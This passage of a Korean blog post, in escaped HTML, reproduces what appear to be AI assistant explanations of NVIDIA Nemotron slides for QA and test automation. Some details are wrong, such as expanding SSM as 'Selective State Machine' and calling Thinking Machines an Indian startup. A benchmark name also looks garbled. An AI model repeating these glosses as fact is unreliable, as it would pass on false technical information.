&lt;li&gt;Nemotron Content Safety Reasoning 모델은 도메인 특화 정책을 자연어로 정의하고, 그에 맞는 위반 여부를 초저지연으로 판단하도록 설계됐습니다. &lt;a href=&quot;https://airoo.org/nvidia-nemotron-content-safety-reasoning-nuanced-policy-enforcement-enterprise-ai/&quot;&gt;airoo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;활용 아이디어
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;고객 챗봇/문서 생성 시스템에 대해 &amp;ldquo;금융 상품 직접 추천 금지&amp;rdquo; 같은 도메인 규칙을 테스트 케이스 대신 LLM 정책으로 정의하고, 대량 출력물에 자동 정책 검증.&lt;/li&gt;
&lt;li&gt;QA에서 퍼징(fuzzing)처럼 다양한 프로프트를 생성해 챗봇/에이전트가 회사 정책을 어기는지 자동 탐지. &lt;a href=&quot;https://www.nvidia.com/en-us/ai-data-science/foundation-models/nemotron/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 합성 데이터 기반 테스트 강화&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron 파이프라인은 대량의 합성 데이터로 코딩&amp;middot;추론&amp;middot;구조화된 출력 품질을 끌어올린 경험을 갖고 있고, NeMo Data Designer 등으로 합성 데이터 생성이 강조됩니다. &lt;a href=&quot;https://www.linkedin.com/posts/kirit93_nvidia-syntheticdatageneration-nemotron-activity-7406753236331876352-0aTc&quot;&gt;linkedin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;활용 아이디어
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제 로그를 보호하면서 유사 구조의 합성 요청/응답, 경계값 입력, 오류 상황 데이터를 대량 생성해 API/모델 통합 테스트에 사용.&lt;/li&gt;
&lt;li&gt;희귀 케이스(장문 입력, 다국어 섞임, 이상 패턴)를 Nemotron으로 생성해 회귀 테스트 스위트에 주입. &lt;a href=&quot;https://arxiv.org/html/2406.11704v1/&quot;&gt;arxiv&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 에이전트 기반 E2E 테스트 자동화&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron은 멀티에이전트&amp;middot;툴콜링 시나리오에 특화되어 있어, 복잡한 워크플로(여러 서비스/툴 호출)를 따라가는 에이전트형 테스트에 적합합니다. &lt;a href=&quot;https://developer.nvidia.com/blog/build-enterprise-ai-agents-with-advanced-open-nvidia-llama-nemotron-reasoning-models/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;활용 아이디어
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;사용자가 주문&amp;rarr;결제&amp;rarr;취소까지 진행하는 플로우를 실제 API를 호출하며 검증하는 테스트 에이전트&amp;rdquo;를 구성하고, Nemotron이 단계별 의사결정&amp;middot;검증 문장을 생성.&lt;/li&gt;
&lt;li&gt;에이전트가 실패 시 스스로 재시도/원인 요약까지 해주게 하여, QA가 디버깅에 바로 활용. &lt;a href=&quot;https://developer.nvidia.com/blog/develop-specialized-ai-agents-with-new-nvidia-nemotron-vision-rag-and-guardrail-models/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 슬라이드 메시지를 QA/테스트 자동화 관점에서 풀어보면 이렇게 이해하시면 좋겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2402&quot; data-origin-height=&quot;1870&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgfOi6/dJMcacbtXrI/wV25zZOH4AqwvWFva8fAO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgfOi6/dJMcacbtXrI/wV25zZOH4AqwvWFva8fAO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgfOi6/dJMcacbtXrI/wV25zZOH4AqwvWFva8fAO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgfOi6%2FdJMcacbtXrI%2FwV25zZOH4AqwvWFva8fAO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;547&quot; height=&quot;426&quot; data-origin-width=&quot;2402&quot; data-origin-height=&quot;1870&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. &amp;ldquo;직접적인 자산화&amp;rdquo; = AI 인프라 설계&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왼쪽 &amp;ldquo;Design AI Infrastructure&amp;rdquo;는 Nemotron을 기준으로 &lt;b&gt;GPU&amp;middot;네트워크&amp;middot;소프트웨어 스택 전체를 설계해서, 모델 자체를 회사 자산으로 만든다&lt;/b&gt;는 의미입니다. &lt;a href=&quot;https://www.nvidia.com/en-us/ai-data-science/foundation-models/nemotron/&quot;&gt;nvidia&lt;/a&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;우리 조직 도메인에 맞는 Nemotron 파생 모델(코드 리뷰, QA 특화 등)을 파인튜닝해 &amp;ldquo;사내 전용 QA 코파일럿&amp;rdquo;으로 보유.&lt;/li&gt;
&lt;li&gt;데이터&amp;middot;테스트 케이스&amp;middot;로그로 계속 재학습하면서, 모델 성능이 곧 회사의 &lt;b&gt;디지털 자산&lt;/b&gt;이 되는 구조입니다. &lt;a href=&quot;https://developer.nvidia.com/blog/inside-nvidia-nemotron-3-techniques-tools-and-data-that-make-it-efficient-and-accurate/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QA/테스트 입장에서는&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테스트 케이스, 버그 리포트, 로그를 합쳐 &amp;ldquo;QA 특화 Nemotron 파생 모델&amp;rdquo;을 만드는 것 자체가 자산화이고,&lt;/li&gt;
&lt;li&gt;이 모델을 쓰면 새 프로젝트/벤더/신입이 와도 동일한 품질 기준과 리뷰 능력을 바로 공유할 수 있습니다. &lt;a href=&quot;https://research.nvidia.com/labs/nemotron/files/NVIDIA-Nemotron-3-Nano-Technical-Report.pdf&quot;&gt;research.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. &amp;ldquo;생태계 가속&amp;rdquo; = 도구&amp;middot;서비스와의 연결&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오른쪽 &amp;ldquo;Accelerate Ecosystem&amp;rdquo;은 Nemotron이 &lt;b&gt;IDE, CI/CD, 모니터링, 도메인 앱&lt;/b&gt; 등과 연결되어 전체 생태계를 가속한다는 메시지입니다. &lt;a href=&quot;https://developer.nvidia.com/blog/build-enterprise-ai-agents-with-advanced-open-nvidia-llama-nemotron-reasoning-models/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GitHub, GitLab, Jira, Slack, Teams 같은 도구에 Nemotron 기반 에이전트를 붙여 코드 리뷰&amp;middot;테스트 분석&amp;middot;이슈 triage를 자동화.&lt;/li&gt;
&lt;li&gt;파트너 솔루션(예: APM, 로깅, 보안 스캐너)과 연동해서, 품질&amp;middot;성능&amp;middot;보안을 한 번에 보는 LLM 에이전트 생태계를 만든다는 그림입니다. &lt;a href=&quot;https://developer.nvidia.com/blog/develop-specialized-ai-agents-with-new-nvidia-nemotron-vision-rag-and-guardrail-models/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QA/테스트 자동화 쪽에서는&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;Nemotron = 테스트 도구 중 하나&amp;rdquo;가 아니라,&lt;/li&gt;
&lt;li&gt;PR 리뷰 봇, 테스트 결과 요약 봇, 정책 위반 탐지 봇 등 여러 &lt;b&gt;QA 에이전트가 돌아가는 생태계의 허브&lt;/b&gt;라고 보면 이해가 쉽습니다. &lt;a href=&quot;https://www.greptile.com/blog/nvidia-nemotron-super-in-code-review&quot;&gt;greptile&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왼쪽은 &amp;ldquo;우리 회사만의 Nemotron 기반 QA/테스트 모델을 만들어 &lt;b&gt;내재화&amp;middot;자산화&lt;/b&gt;하자&amp;rdquo;,&lt;/li&gt;
&lt;li&gt;오른쪽은 &amp;ldquo;그걸 GitHub/CI/모니터링/업무툴에 붙여 &lt;b&gt;QA 생태계 전체를 가속&lt;/b&gt;하자&amp;rdquo;라는 메시지입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nemotron에서 말한 &amp;ldquo;Brevity of LLM response&amp;rdquo;를 QA에 그대로 옮기면, &lt;b&gt;필요한 정보만 짧게 받도록 프로프트&amp;middot;포맷을 설계해서 테스트 속도와 비용을 줄이자&lt;/b&gt;는 아이디어입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 테스트 봇 응답 길이 제한하기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;한 줄 요약 + pass/fail + 근거 3줄 이하만 출력&amp;rdquo;처럼 형식을 강하게 지정하면 토큰 수가 줄어들어 응답도 빨라집니다. &lt;a href=&quot;https://developer.nvidia.com/blog/inside-nvidia-nemotron-3-techniques-tools-and-data-that-make-it-efficient-and-accurate/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;예: &lt;code&gt;결과는 하나의 JSON만 반환하고, 불필요한 설명은 쓰지 마라&lt;/code&gt;라고 지시해서 PR 리뷰&amp;middot;테스트 분석 결과를 기계가 바로 파싱 가능하게 만들기.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 대화 대신 단발 쿼리로 설계&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LLM과 긴 대화를 주고받으면 매번 이전 컨텍스트가 붙어서 토큰과 시간이 폭증합니다. &lt;a href=&quot;https://www.together.ai/blog/nvidia-nemotron-3-super&quot;&gt;together&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;QA 에이전트는 &amp;ldquo;테스트 입력 + 기대 결과 + 로그&amp;rdquo;를 한 번에 넣고, 그에 대한 판단/요약만 짧게 받는 단발 호출 위주로 설계하는 게 좋습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 요약 계층 두 단계로 나누기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;긴 로그 &amp;rarr; 먼저 초단 요약(핵심 에러 코드&amp;middot;스택만) &amp;rarr; 그 요약을 다시 넘겨 상세 분석 요청처럼, &amp;ldquo;짧은 중간 요약&amp;rdquo;을 끼우면 전체 토큰과 시간을 아낄 수 있습니다. &lt;a href=&quot;https://developer.nvidia.com/blog/inside-nvidia-nemotron-3-techniques-tools-and-data-that-make-it-efficient-and-accurate/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;예: 1만 줄 테스트 로그를 바로 분석시키지 말고, LLM에 &amp;ldquo;에러 타입/횟수만 집계&amp;rdquo;시키고, 특정 유형만 다시 상세 분석.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 평가 기준도 짧게&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;이 PR이 리스크 높은지 0~1 사이 점수와 한 줄 근거만 주라&amp;rdquo;처럼 평가 결과를 스칼라 + 짧은 코멘트로 제한하면, 대량 PR/테스트 배치 평가가 훨씬 빨라집니다. &lt;a href=&quot;https://www.greptile.com/blog/nvidia-nemotron-super-in-code-review&quot;&gt;greptile&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요약하면, LLM을 QA에 붙일 때는 &amp;ldquo;설명 잘하는 비서&amp;rdquo;가 아니라 &amp;ldquo;짧고 구조화된 신호만 뱉는 스코어러/요약기&amp;rdquo;로 설계할수록 속도&amp;middot;비용&amp;middot;자동화 난이도가 모두 좋아집니다. &lt;a href=&quot;https://www.greptile.com/blog/nvidia-nemotron-super-in-code-review&quot;&gt;greptile&lt;/a&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;방금까지 본 슬라이드들에서 QA/테스트랑 직접 연결되는 키워드만 추리면
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron = &amp;ldquo;엔터프라이즈용 오픈 LLM 스택&amp;rdquo; &amp;rarr; 나중에 사내 QA 전용 모델로 &lt;b&gt;자산화&lt;/b&gt; 가능 &lt;a href=&quot;https://www.nvidia.com/en-us/ai-data-science/foundation-models/nemotron/&quot;&gt;nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Accelerated computing 슬라이드의 포인트 = &amp;ldquo;GPU만이 아니라 데이터&amp;middot;아키텍처&amp;middot;응답 길이까지 다 최적화해야 진짜 가속&amp;rdquo; &amp;rarr; 나중에 QA용 LLM 쓸 때도 &lt;b&gt;응답 포맷&amp;middot;길이 설계가 성능/비용 핵심&lt;/b&gt; &lt;a href=&quot;https://developer.nvidia.com/blog/inside-nvidia-nemotron-3-techniques-tools-and-data-that-make-it-efficient-and-accurate/&quot;&gt;developer.nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ecosystem 슬라이드 = IDE, CI/CD, 모니터링에 에이전트 붙이는 그림 &amp;rarr; 지금 쓰는 GitHub, Jira, 테스트 파이프라인에 &lt;b&gt;LLM 훅을 어디 넣을 수 있을지&lt;/b&gt; 상상해보는 용도&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 단계에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) &amp;ldquo;우리 조직 QA 흐름 중 어디에 Nemotron 같은 모델이 들어가면 이득일까?&amp;rdquo;&lt;br /&gt;2) &amp;ldquo;그걸 붙이려면 어떤 데이터(PR, 로그, 티켓)를 모아둬야 할까?&amp;rdquo;&lt;br /&gt;이 두 가지만 머릿속에 메모해 두시면, 나중에 PoC 기회가 생겼을 때 바로 설계로 들어가기 쉬우실 것 같습니다. &lt;a href=&quot;https://www.greptile.com/blog/nvidia-nemotron-super-in-code-review&quot;&gt;greptile&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아, &lt;b&gt;현재 슬라이드에서 핵심 내용&lt;/b&gt;이 보이네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Building Nemotron for Intelligence and Efficiency&quot;라는 제목 아래 세 가지 축을 보여주고 있는데, 지금 설명하시는 부분이 &lt;b&gt;혼합 아키텍처(Mixed Architecture)와 훈련/추론 병목(Training &amp;amp; Inference Bottleneck)&lt;/b&gt;에 대한 것이군요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 이해한 바로는:&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;현재 설명하시는 포인트&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;&quot;Faster Models are Smarter Models&quot;&lt;/b&gt; (좌측)&lt;br /&gt;&amp;rarr; Nemotron이 단순히 &quot;GPU 성능 높음&quot; 수준이 아니라, &lt;b&gt;아키텍처 설계 자체를 혼합형으로 최적화&lt;/b&gt;해서 같은 크기의 모델도 더 똑똑하게 만든다는 뜻.&lt;br /&gt;&amp;rarr; 예: SSM(Selective State Machine) + Transformer 조합, MoE(Mixture of Experts) 같은 구조.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;Production Systems Run Fully Loaded&quot;&lt;/b&gt; (중앙)&lt;br /&gt;&amp;rarr; 훈련 시에만 빠르고, 실제 프로덕션에서는 느려지는 GPU의 일반적 문제를 극복.&lt;br /&gt;&amp;rarr; Nemotron은 &lt;b&gt;추론 병목을 먼저 설계&lt;/b&gt;해서, 학습과 배포 양쪽 다 효율적.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;Designed with Accelerated Systems in Mind&quot;&lt;/b&gt; (우측)&lt;br /&gt;&amp;rarr; GPU 칩 자체뿐 아니라, &lt;b&gt;인터커넥트, 시스템 아키텍처, 네트워크 구조까지 전체를 함께 최적화&lt;/b&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;QA/테스트 관점에서 이게 왜 중요한가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 말씀하시는 &lt;b&gt;혼합 아키텍처와 병목 설계&lt;/b&gt;는 나중에 QA가 Nemotron 기반 모델을 사내에서 만들 때도 똑같이 적용되는 개념입니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;혼합 아키텍처&lt;/b&gt; = &quot;빨리 학습하는 구조 + 정확히 추론하는 구조&quot; 둘 다 최적화&lt;br /&gt;&amp;rarr; QA용 모델도 &quot;테스트 케이스 많이 먹여주기(학습)와 빠른 평가(추론) 양쪽 다&quot; 고려&lt;/li&gt;
&lt;li&gt;&lt;b&gt;훈련/추론 병목&lt;/b&gt; = &quot;학습할 땐 좋은데 실제 CI/CD에서는 느림&quot; 같은 걸 설계 단계에서 미리 예방&lt;br /&gt;&amp;rarr; QA 에이전트가 PR 몇 개 테스트할 땐 좋지만, 1000개 배치에서는 느려지는 문제를 처음부터 설계로 막자&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 설명이 진행 중인 것 같으니, &lt;b&gt;더 깊게 들으신 후&lt;/b&gt; 이 부분에서 &quot;구체적으로 어떤 아키텍처 선택&quot;을 했는지 나오면 정말 QA에 도움 될 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋은 슬라이드를 캡처해 주셨네요! 지금 발표 중인 화면과 공유해주신 이미지를 함께 보면, &lt;b&gt;NVIDIA의 오픈소스 생태계 위치도&lt;/b&gt;가 나오는 부분입니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;슬라이드 분석: &quot;NVIDIA's Open Models, Data, and Libraries Top Leaderboards&quot;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;좌측 4가지 핵심 프로젝트&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Nemotron Reasoning Agents&lt;/b&gt; &amp;rarr; 추론&amp;middot;에이전트 특화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cosmos Physical AI&lt;/b&gt; &amp;rarr; 물리 시뮬레이션 AI&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GROOT Robotics&lt;/b&gt; &amp;rarr; 로봇 제어&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Clara Biomedical AI&lt;/b&gt; &amp;rarr; 의료 AI&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;중앙 그래프&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Open Source AI Contributions&quot;&lt;/b&gt; (Jan 2025 ~ Oct 2025)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초록색(상단): Nemotron이 &lt;b&gt;가장 가파르게 올라가는 라인&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;주황색, 빨강색, 노랑색 등 다른 프로젝트들도 함께 성장 중&lt;/li&gt;
&lt;li&gt;메시지: &quot;NVIDIA의 오픈소스 라인업이 벤치마크에서 주도권을 확보&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;하단 7개 벤치마크(리더보드)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AIME 2025&lt;/b&gt;: 수학 추론&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LiveCodeBench&lt;/b&gt;: 코딩 능력&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ViDoRe, MTEB, MMTEB&lt;/b&gt;: 정보 검색&amp;middot;임베딩&lt;/li&gt;
&lt;li&gt;&lt;b&gt;OpenASR&lt;/b&gt;: 음성 인식&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PAIBench&lt;/b&gt;: 다목적 AI 벤치&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MVPBench, IntPhys, CasualVQA&lt;/b&gt;: 멀티모달&amp;middot;인과관계&amp;middot;시각 이해&lt;/li&gt;
&lt;li&gt;&lt;b&gt;VLM3D&lt;/b&gt;: 3D 비전&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;QA 관점에서 &quot;이게 왜 중요한가?&quot;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;다양한 도메인 특화 모델 = 다양한 QA 시나리오에 맞는 베이스 모델&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코딩 특화(LiveCodeBench) &amp;rarr; PR 리뷰 봇에 쓰기 좋음&lt;/li&gt;
&lt;li&gt;추론 특화(AIME) &amp;rarr; 복잡한 테스트 시나리오 분석에 좋음&lt;/li&gt;
&lt;li&gt;멀티모달(VLM3D) &amp;rarr; UI/VIsual 테스트 자동화에 쓸 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;벤치마크 리더보드 1위 = 안정성&amp;middot;신뢰도 증명&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nemotron이 &quot;차용 많이 하니까 빨라&quot; 수준이 아니라&lt;/li&gt;
&lt;li&gt;&lt;b&gt;객관적인 벤치에서 최고 수준의 정확도&lt;/b&gt;를 보증&lt;/li&gt;
&lt;li&gt;회사에 도입할 때 경영진 설득 포인트 좋음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;Open Source&quot; = 자유로운 파인튜닝 &amp;amp; 자산화 가능&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Proprietary 모델(GPT, Claude)과 달리&lt;/li&gt;
&lt;li&gt;Nemotron은 우리 조직 데이터로 &lt;b&gt;커스터마이징하고 소유권 유지 가능&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&quot;Announcing Global AI Leaders Join NVIDIA Nemotron Coalition to Advance Open Frontier Models&quot;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron Coalition에 참여하는 글로벌 AI 리더들:&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;상위 4개 (tier 1)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Black Forest Labs&lt;/b&gt; &amp;rarr; 이미지 생성(Flux 모델)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CURSOR&lt;/b&gt; &amp;rarr; AI 코딩 어시스턴트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LangChain&lt;/b&gt; &amp;rarr; LLM 애플리케이션 프레임워크&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Mistral AI&lt;/b&gt; &amp;rarr; 경량 LLM 전문&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;하위 4개 (tier 2)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Perplexity&lt;/b&gt; &amp;rarr; AI 검색 엔진 (아, 저를 만든 회사네요!)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Reflection&lt;/b&gt; &amp;rarr; 추론 특화 모델&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Sarvam&lt;/b&gt; &amp;rarr; 인도/남아시아 언어 AI&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Thinking Machines&lt;/b&gt; &amp;rarr; 인도 AI 스타트업&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;이게 QA에 왜 중요한가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 슬라이드는 &lt;b&gt;&quot;Nemotron이 단순 NVIDIA 제품이 아니라, 세계 최고의 AI 스타트업/기업들이 함께 만드는 오픈 생태계&quot;&lt;/b&gt;라는 메시지입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;각 참여사와 QA의 연결고리&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;회사&lt;/th&gt;
&lt;th&gt;특화 분야&lt;/th&gt;
&lt;th&gt;QA 응용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CURSOR&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;AI 코딩 어시스턴트&lt;/td&gt;
&lt;td&gt;PR 리뷰&amp;middot;코드 품질 체크 봇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LangChain&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;LLM 파이프라인 프레임워크&lt;/td&gt;
&lt;td&gt;복잡한 테스트 워크플로 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Perplexity&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;검색 + 추론&lt;/td&gt;
&lt;td&gt;테스트 결과 분석&amp;middot;요약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Reflection&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;깊은 추론&lt;/td&gt;
&lt;td&gt;복잡한 버그 원인 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;가장 핵심적인 의미&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;이미 성공한 AI 회사들이 Nemotron으로 가고 있다&quot;&lt;/b&gt; =&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단순히 &quot;최신 기술&quot;이 아니라&lt;/li&gt;
